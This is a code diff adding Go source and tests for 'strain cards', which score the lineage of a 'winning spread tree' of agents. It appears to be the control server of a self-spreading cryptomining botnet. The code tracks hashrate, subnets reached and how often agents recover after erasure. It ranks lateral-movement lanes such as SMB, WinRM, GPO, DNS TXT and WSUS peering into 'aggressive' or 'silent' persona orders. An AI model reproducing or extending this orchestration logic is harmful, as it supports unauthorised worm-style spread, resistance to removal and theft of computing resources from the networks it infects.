SourceAgentName: "Leaf",
|
||||||
|
SpreadLane: "dns_txt",
|
||||||
|
Persona: "persuasive",
|
||||||
|
PeakHashrate: 900,
|
||||||
|
ErasureRecoveryRate: 1,
|
||||||
|
TreeSize: 2,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
got, err := d.GetStrainCard(id)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if got.RootAgentID != "root-1" || got.PeakHashrate != 900 {
|
||||||
|
t.Fatalf("stored card: %+v", got)
|
||||||
|
}
|
||||||
|
list, err := d.ListStrainCardsForAgent("leaf-1")
|
||||||
|
if err != nil || len(list) != 1 {
|
||||||
|
t.Fatalf("list for agent: %v err=%v", list, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestUpsertStrainCardSkipsLowerHashrate(t *testing.T) {
|
||||||
|
d, err := New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = d.Close() })
|
||||||
|
|
||||||
|
card := map[string]interface{}{"root_agent_id": "root", "source_agent_id": "a1", "peak_hashrate": 500}
|
||||||
|
raw, _ := json.Marshal(card)
|
||||||
|
id1, err := d.UpsertStrainCard("root", "a1", raw, StoredStrainCard{PeakHashrate: 500})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
card["peak_hashrate"] = 100
|
||||||
|
raw2, _ := json.Marshal(card)
|
||||||
|
id2, err := d.UpsertStrainCard("root", "a1", raw2, StoredStrainCard{PeakHashrate: 100})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if id1 != id2 {
|
||||||
|
t.Fatalf("ids differ: %s vs %s", id1, id2)
|
||||||
|
}
|
||||||
|
got, err := d.GetStrainCardByRoot("root")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if got.PeakHashrate != 500 {
|
||||||
|
t.Fatalf("peak hashrate regressed to %v", got.PeakHashrate)
|
||||||
|
}
|
||||||
|
}
|
||||||
339
server/internal/strategy/strain_card.go
Normal file
339
server/internal/strategy/strain_card.go
Normal file
@@ -0,0 +1,339 @@
|
|||||||
|
package strategy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/sha256"
|
||||||
|
"fmt"
|
||||||
|
"sort"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// StrainParent is one node in a winning spread tree lineage.
|
||||||
|
type StrainParent struct {
|
||||||
|
AgentID string `json:"agent_id"`
|
||||||
|
AgentName string `json:"agent_name,omitempty"`
|
||||||
|
JoinLane string `json:"join_lane,omitempty"`
|
||||||
|
SpreadLane string `json:"spread_lane,omitempty"`
|
||||||
|
Generation int `json:"generation,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// StrainCard is light gamification metadata for a winning spread tree.
|
||||||
|
type StrainCard struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
RootAgentID string `json:"root_agent_id"`
|
||||||
|
SourceAgentID string `json:"source_agent_id"`
|
||||||
|
SourceAgentName string `json:"source_agent_name"`
|
||||||
|
SpreadStrain string `json:"spread_strain"`
|
||||||
|
SpreadLane string `json:"spread_lane"`
|
||||||
|
Persona string `json:"persona"`
|
||||||
|
Parents []StrainParent `json:"parents"`
|
||||||
|
Wins []string `json:"wins"`
|
||||||
|
Losses []string `json:"losses"`
|
||||||
|
Subnets []string `json:"subnets"`
|
||||||
|
ErasureRecoveryRate float64 `json:"erasure_recovery_rate"`
|
||||||
|
PeakHashrate float64 `json:"peak_hashrate"`
|
||||||
|
TierOrder []string `json:"tier_order"`
|
||||||
|
TreeSize int `json:"tree_size"`
|
||||||
|
CreatedAt time.Time `json:"created_at"`
|
||||||
|
UpdatedAt time.Time `json:"updated_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// SpreadTreeAgent is minimal agent telemetry for card synthesis.
|
||||||
|
type SpreadTreeAgent struct {
|
||||||
|
ID string
|
||||||
|
Name string
|
||||||
|
IP string
|
||||||
|
ParentAgentID string
|
||||||
|
SpreadGeneration int
|
||||||
|
SpreadStrain string
|
||||||
|
JoinLane string
|
||||||
|
Hashrate float64
|
||||||
|
}
|
||||||
|
|
||||||
|
// SpreadStrainFromJoinLane returns a stable #RRGGBB hex for UI strain grouping.
|
||||||
|
func SpreadStrainFromJoinLane(lane string) string {
|
||||||
|
lane = strings.TrimSpace(strings.ToLower(lane))
|
||||||
|
if lane == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
|
||||||
|
return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
|
||||||
|
}
|
||||||
|
|
||||||
|
var erasureJoinLanes = map[string]bool{
|
||||||
|
"dns_txt": true,
|
||||||
|
"wsus_cache_peer": true,
|
||||||
|
"do_peer": true,
|
||||||
|
}
|
||||||
|
|
||||||
|
// PersonaFromSpreadLane maps a winning join/spread lane to a Calibrate persona preset.
|
||||||
|
func PersonaFromSpreadLane(lane string) string {
|
||||||
|
lane = strings.TrimSpace(strings.ToLower(lane))
|
||||||
|
switch lane {
|
||||||
|
case "winrm", "smb", "gpo":
|
||||||
|
return "aggressive"
|
||||||
|
case "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh":
|
||||||
|
return "persuasive"
|
||||||
|
case "docker", "wsl", "container":
|
||||||
|
return "silent"
|
||||||
|
case "powershell", "dotnet", "bits_curl":
|
||||||
|
return "balanced"
|
||||||
|
default:
|
||||||
|
return "balanced"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// BuildStrainCardInput is the publish payload for auto-generating a lineage card.
|
||||||
|
type BuildStrainCardInput struct {
|
||||||
|
SourceAgentID string
|
||||||
|
SourceAgentName string
|
||||||
|
SpreadLane string
|
||||||
|
TierOrder []string
|
||||||
|
PeakHashrate float64
|
||||||
|
Attempts []TierAttempt
|
||||||
|
TreeAgents []SpreadTreeAgent
|
||||||
|
ParentLanes []string
|
||||||
|
}
|
||||||
|
|
||||||
|
// CollectSpreadTree returns the root agent id and all agents in the spread tree.
|
||||||
|
func CollectSpreadTree(agents []SpreadTreeAgent, sourceAgentID string) (rootID string, tree []SpreadTreeAgent) {
|
||||||
|
sourceAgentID = strings.TrimSpace(sourceAgentID)
|
||||||
|
if sourceAgentID == "" || len(agents) == 0 {
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
byID := make(map[string]SpreadTreeAgent, len(agents))
|
||||||
|
children := make(map[string][]SpreadTreeAgent)
|
||||||
|
for _, a := range agents {
|
||||||
|
byID[a.ID] = a
|
||||||
|
if p := strings.TrimSpace(a.ParentAgentID); p != "" {
|
||||||
|
children[p] = append(children[p], a)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
rootID = sourceAgentID
|
||||||
|
for {
|
||||||
|
a, ok := byID[rootID]
|
||||||
|
if !ok {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
p := strings.TrimSpace(a.ParentAgentID)
|
||||||
|
if p == "" {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
rootID = p
|
||||||
|
}
|
||||||
|
seen := make(map[string]bool)
|
||||||
|
queue := []string{rootID}
|
||||||
|
for len(queue) > 0 {
|
||||||
|
id := queue[0]
|
||||||
|
queue = queue[1:]
|
||||||
|
if seen[id] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[id] = true
|
||||||
|
if a, ok := byID[id]; ok {
|
||||||
|
tree = append(tree, a)
|
||||||
|
for _, child := range children[id] {
|
||||||
|
queue = append(queue, child.ID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sort.Slice(tree, func(i, j int) bool {
|
||||||
|
if tree[i].SpreadGeneration == tree[j].SpreadGeneration {
|
||||||
|
return tree[i].ID < tree[j].ID
|
||||||
|
}
|
||||||
|
return tree[i].SpreadGeneration < tree[j].SpreadGeneration
|
||||||
|
})
|
||||||
|
return rootID, tree
|
||||||
|
}
|
||||||
|
|
||||||
|
// BuildStrainCard synthesizes card JSON from a winning spread tree.
|
||||||
|
func BuildStrainCard(in BuildStrainCardInput) StrainCard {
|
||||||
|
now := time.Now().UTC()
|
||||||
|
lane := strings.TrimSpace(in.SpreadLane)
|
||||||
|
rootID, tree := CollectSpreadTree(in.TreeAgents, in.SourceAgentID)
|
||||||
|
if rootID == "" {
|
||||||
|
rootID = strings.TrimSpace(in.SourceAgentID)
|
||||||
|
}
|
||||||
|
if len(tree) == 0 && strings.TrimSpace(in.SourceAgentID) != "" {
|
||||||
|
tree = []SpreadTreeAgent{{ID: in.SourceAgentID, Name: in.SourceAgentName}}
|
||||||
|
}
|
||||||
|
|
||||||
|
wins, losses := tierWinLossLists(in.Attempts)
|
||||||
|
parents := buildStrainParents(tree, in.ParentLanes)
|
||||||
|
subnets := collectTreeSubnets(tree)
|
||||||
|
erasureRate := computeErasureRecoveryRate(tree)
|
||||||
|
|
||||||
|
strain := SpreadStrainFromJoinLane(lane)
|
||||||
|
for i := len(tree) - 1; i >= 0; i-- {
|
||||||
|
if s := strings.TrimSpace(tree[i].SpreadStrain); s != "" {
|
||||||
|
strain = s
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
card := StrainCard{
|
||||||
|
RootAgentID: rootID,
|
||||||
|
SourceAgentID: strings.TrimSpace(in.SourceAgentID),
|
||||||
|
SourceAgentName: strings.TrimSpace(in.SourceAgentName),
|
||||||
|
SpreadStrain: strain,
|
||||||
|
SpreadLane: lane,
|
||||||
|
Persona: PersonaFromSpreadLane(lane),
|
||||||
|
Parents: parents,
|
||||||
|
Wins: wins,
|
||||||
|
Losses: losses,
|
||||||
|
Subnets: subnets,
|
||||||
|
ErasureRecoveryRate: erasureRate,
|
||||||
|
PeakHashrate: in.PeakHashrate,
|
||||||
|
TierOrder: append([]string(nil), in.TierOrder...),
|
||||||
|
TreeSize: len(tree),
|
||||||
|
CreatedAt: now,
|
||||||
|
UpdatedAt: now,
|
||||||
|
}
|
||||||
|
if card.TierOrder == nil {
|
||||||
|
card.TierOrder = []string{}
|
||||||
|
}
|
||||||
|
if card.Wins == nil {
|
||||||
|
card.Wins = []string{}
|
||||||
|
}
|
||||||
|
if card.Losses == nil {
|
||||||
|
card.Losses = []string{}
|
||||||
|
}
|
||||||
|
if card.Subnets == nil {
|
||||||
|
card.Subnets = []string{}
|
||||||
|
}
|
||||||
|
if card.Parents == nil {
|
||||||
|
card.Parents = []StrainParent{}
|
||||||
|
}
|
||||||
|
return card
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildStrainParents(tree []SpreadTreeAgent, parentLanes []string) []StrainParent {
|
||||||
|
out := make([]StrainParent, 0, len(tree))
|
||||||
|
for i, a := range tree {
|
||||||
|
if i == 0 && strings.TrimSpace(a.ParentAgentID) == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
lane := strings.TrimSpace(a.JoinLane)
|
||||||
|
spreadLane := lane
|
||||||
|
if i > 0 && i-1 < len(parentLanes) {
|
||||||
|
spreadLane = strings.TrimSpace(parentLanes[i-1])
|
||||||
|
}
|
||||||
|
out = append(out, StrainParent{
|
||||||
|
AgentID: a.ID,
|
||||||
|
AgentName: a.Name,
|
||||||
|
JoinLane: lane,
|
||||||
|
SpreadLane: spreadLane,
|
||||||
|
Generation: a.SpreadGeneration,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func tierWinLossLists(attempts []TierAttempt) (wins, losses []string) {
|
||||||
|
seenWin := make(map[string]bool)
|
||||||
|
seenLoss := make(map[string]bool)
|
||||||
|
for _, a := range attempts {
|
||||||
|
tier := strings.TrimSpace(a.Tier)
|
||||||
|
if tier == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if a.OK {
|
||||||
|
if !seenWin[tier] {
|
||||||
|
wins = append(wins, tier)
|
||||||
|
seenWin[tier] = true
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if !seenLoss[tier] {
|
||||||
|
losses = append(losses, tier)
|
||||||
|
seenLoss[tier] = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return wins, losses
|
||||||
|
}
|
||||||
|
|
||||||
|
func collectTreeSubnets(tree []SpreadTreeAgent) []string {
|
||||||
|
seen := make(map[string]bool)
|
||||||
|
out := make([]string, 0, len(tree))
|
||||||
|
for _, a := range tree {
|
||||||
|
subnet := subnetFromIP(a.IP)
|
||||||
|
if subnet == "" || seen[subnet] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[subnet] = true
|
||||||
|
out = append(out, subnet)
|
||||||
|
}
|
||||||
|
sort.Strings(out)
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func computeErasureRecoveryRate(tree []SpreadTreeAgent) float64 {
|
||||||
|
if len(tree) == 0 {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
var attempts, recoveries int
|
||||||
|
for _, a := range tree {
|
||||||
|
lane := strings.TrimSpace(strings.ToLower(a.JoinLane))
|
||||||
|
if lane == "" || !erasureJoinLanes[lane] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
attempts++
|
||||||
|
if a.Hashrate > 0 {
|
||||||
|
recoveries++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if attempts == 0 {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
return float64(recoveries) / float64(attempts)
|
||||||
|
}
|
||||||
|
|
||||||
|
// TemperamentFromCard builds spread_temperament policy from a strain card.
|
||||||
|
func TemperamentFromCard(card StrainCard) AdaptiveStrategy {
|
||||||
|
order := card.TierOrder
|
||||||
|
if len(order) == 0 {
|
||||||
|
order = PersonaSpreadTierOrder(card.Persona)
|
||||||
|
}
|
||||||
|
reason := StrategyReason{
|
||||||
|
Fact: "lineage_strain_card=" + card.ID,
|
||||||
|
Inference: "Operator played winning spread tree strain on agent",
|
||||||
|
Action: "Apply tier order: " + strings.Join(order, " → "),
|
||||||
|
}
|
||||||
|
return AdaptiveStrategy{
|
||||||
|
TierOrder: append([]string(nil), order...),
|
||||||
|
Reasoning: []StrategyReason{reason},
|
||||||
|
Confidence: 0.9,
|
||||||
|
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// PersonaSpreadTierOrder returns spread tier order for a persona id (mirrors fleet AI).
|
||||||
|
func PersonaSpreadTierOrder(persona string) []string {
|
||||||
|
switch strings.ToLower(strings.TrimSpace(persona)) {
|
||||||
|
case "aggressive":
|
||||||
|
return []string{
|
||||||
|
"vuln_recon", "docker", "smb", "winrm", "bits_curl", "wsl", "powershell", "dotnet",
|
||||||
|
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "linux", "gpo",
|
||||||
|
}
|
||||||
|
case "silent":
|
||||||
|
return []string{
|
||||||
|
"vuln_recon", "docker", "wsl", "dotnet", "powershell", "bits_curl",
|
||||||
|
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
|
||||||
|
}
|
||||||
|
case "passive":
|
||||||
|
return []string{
|
||||||
|
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||||
|
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
|
||||||
|
}
|
||||||
|
case "persuasive":
|
||||||
|
return []string{
|
||||||
|
"vuln_recon", "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh", "bits_curl",
|
||||||
|
"docker", "wsl", "powershell", "dotnet", "smb", "winrm", "linux", "gpo",
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
return []string{
|
||||||
|
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||||
|
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
93
server/internal/strategy/strain_card_test.go
Normal file
93
server/internal/strategy/strain_card_test.go
Normal file
@@ -0,0 +1,93 @@
|
|||||||
|
package strategy
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestSpreadStrainFromJoinLaneStable(t *testing.T) {
|
||||||
|
a := SpreadStrainFromJoinLane("winrm")
|
||||||
|
b := SpreadStrainFromJoinLane("winrm")
|
||||||
|
if a != b || a == "" {
|
||||||
|
t.Fatalf("strain not stable: %q vs %q", a, b)
|
||||||
|
}
|
||||||
|
if SpreadStrainFromJoinLane("dns_txt") == a {
|
||||||
|
t.Fatal("different lanes should differ")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCollectSpreadTreeRootAndDescendants(t *testing.T) {
|
||||||
|
agents := []SpreadTreeAgent{
|
||||||
|
{ID: "root", Name: "Root", SpreadGeneration: 0},
|
||||||
|
{ID: "mid", Name: "Mid", ParentAgentID: "root", SpreadGeneration: 1, JoinLane: "winrm"},
|
||||||
|
{ID: "leaf", Name: "Leaf", ParentAgentID: "mid", SpreadGeneration: 2, JoinLane: "dns_txt", Hashrate: 500},
|
||||||
|
{ID: "other", Name: "Other", ParentAgentID: "root", SpreadGeneration: 1, JoinLane: "smb"},
|
||||||
|
}
|
||||||
|
root, tree := CollectSpreadTree(agents, "leaf")
|
||||||
|
if root != "root" {
|
||||||
|
t.Fatalf("root = %q want root", root)
|
||||||
|
}
|
||||||
|
if len(tree) != 4 {
|
||||||
|
t.Fatalf("tree size = %d want 4", len(tree))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildStrainCardFromWinningTree(t *testing.T) {
|
||||||
|
agents := []SpreadTreeAgent{
|
||||||
|
{ID: "root", Name: "Root", IP: "10.0.1.10", SpreadGeneration: 0},
|
||||||
|
{ID: "child", Name: "Child", ParentAgentID: "root", IP: "10.0.2.20", SpreadGeneration: 1, JoinLane: "dns_txt", Hashrate: 800},
|
||||||
|
}
|
||||||
|
card := BuildStrainCard(BuildStrainCardInput{
|
||||||
|
SourceAgentID: "child",
|
||||||
|
SourceAgentName: "Child",
|
||||||
|
SpreadLane: "dns_txt",
|
||||||
|
TierOrder: []string{"container", "wsl", "cpu_inprocess"},
|
||||||
|
PeakHashrate: 800,
|
||||||
|
Attempts: []TierAttempt{
|
||||||
|
{Tier: "docker", OK: false},
|
||||||
|
{Tier: "container", OK: true},
|
||||||
|
{Tier: "wsl", OK: true},
|
||||||
|
},
|
||||||
|
TreeAgents: agents,
|
||||||
|
ParentLanes: []string{"winrm"},
|
||||||
|
})
|
||||||
|
if card.RootAgentID != "root" || card.TreeSize != 2 {
|
||||||
|
t.Fatalf("card root/tree: %+v", card)
|
||||||
|
}
|
||||||
|
if len(card.Wins) != 2 || len(card.Losses) != 1 {
|
||||||
|
t.Fatalf("wins/losses = %v / %v", card.Wins, card.Losses)
|
||||||
|
}
|
||||||
|
if card.Persona != "persuasive" {
|
||||||
|
t.Fatalf("persona = %q", card.Persona)
|
||||||
|
}
|
||||||
|
if len(card.Subnets) != 2 {
|
||||||
|
t.Fatalf("subnets = %v", card.Subnets)
|
||||||
|
}
|
||||||
|
if card.ErasureRecoveryRate != 1 {
|
||||||
|
t.Fatalf("erasure rate = %v want 1", card.ErasureRecoveryRate)
|
||||||
|
}
|
||||||
|
if card.SpreadStrain != SpreadStrainFromJoinLane("dns_txt") {
|
||||||
|
t.Fatalf("strain = %q", card.SpreadStrain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTemperamentFromCardUsesTierOrder(t *testing.T) {
|
||||||
|
card := StrainCard{
|
||||||
|
ID: "card-1",
|
||||||
|
Persona: "balanced",
|
||||||
|
TierOrder: []string{"container", "wsl"},
|
||||||
|
}
|
||||||
|
temp := TemperamentFromCard(card)
|
||||||
|
if len(temp.TierOrder) != 2 || temp.TierOrder[0] != "container" {
|
||||||
|
t.Fatalf("temperament = %+v", temp)
|
||||||
|
}
|
||||||
|
if temp.Reasoning[0].Fact != "lineage_strain_card=card-1" {
|
||||||
|
t.Fatalf("reasoning = %+v", temp.Reasoning)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPersonaFromSpreadLane(t *testing.T) {
|
||||||
|
if PersonaFromSpreadLane("winrm") != "aggressive" {
|
||||||
|
t.Fatal("winrm should map aggressive")
|
||||||
|
}
|
||||||
|
if PersonaFromSpreadLane("dns_txt") != "persuasive" {
|
||||||
|
t.Fatal("dns_txt should map persuasive")
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user